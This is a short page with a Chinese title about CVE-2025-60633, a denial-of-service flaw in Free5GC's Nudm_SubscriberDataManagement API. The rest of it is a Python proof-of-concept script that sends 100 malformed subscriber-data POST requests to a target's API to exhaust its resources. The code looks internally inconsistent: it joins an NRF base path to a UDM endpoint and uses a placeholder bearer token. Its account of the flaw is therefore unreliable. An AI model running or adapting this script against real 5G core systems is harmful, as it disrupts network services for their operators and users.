CVE-2025-60633 Free5GC Nudm_SubscriberDataManagement API拒绝服务漏洞

import requests import json # CVE-2025-60633 PoC - Free5GC Nudm_SubscriberDataManagement DoS # Target: Free5GC v4.0.0 / v4.0.1 # Attack Vector: Malformed API request to Nudm_SubscriberDataManagement endpoint TARGET_IP = "target_free5gc_ip" NUDM_API_BASE = f"http://{TARGET_IP}:5000/nnrf-nfm/v1" SUPER_ID = "2000000001" def exploit_dos(): """Send malformed request to trigger DoS condition""" headers = { 'Content-Type': 'application/json', 'Authorization': f'Bearer {generate_test_token()}' } # Malformed subscriber data request payload = { 'ueId': 'IMSI-999999999999999', 'subscribedData': { 'pduSessionContexts': [], 'amfSubscriptionId': SUPER_ID } } # Send multiple malformed requests to exhaust resources for i in range(100): try: response = requests.post( f"{NUDM_API_BASE}/nudm-subdatamgmt/v1/{payload['ueId']}", headers=headers, json=payload, timeout=5 ) print(f"Request {i+1}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request {i+1} failed: {e}") def generate_test_token(): """Generate test authentication token""" # Placeholder for token generation logic return "test_token_placeholder" if __name__ == "__main__": print("CVE-2025-60633 PoC - Free5GC DoS Exploit") print("Target: Nudm_SubscriberDataManagement API") exploit_dos()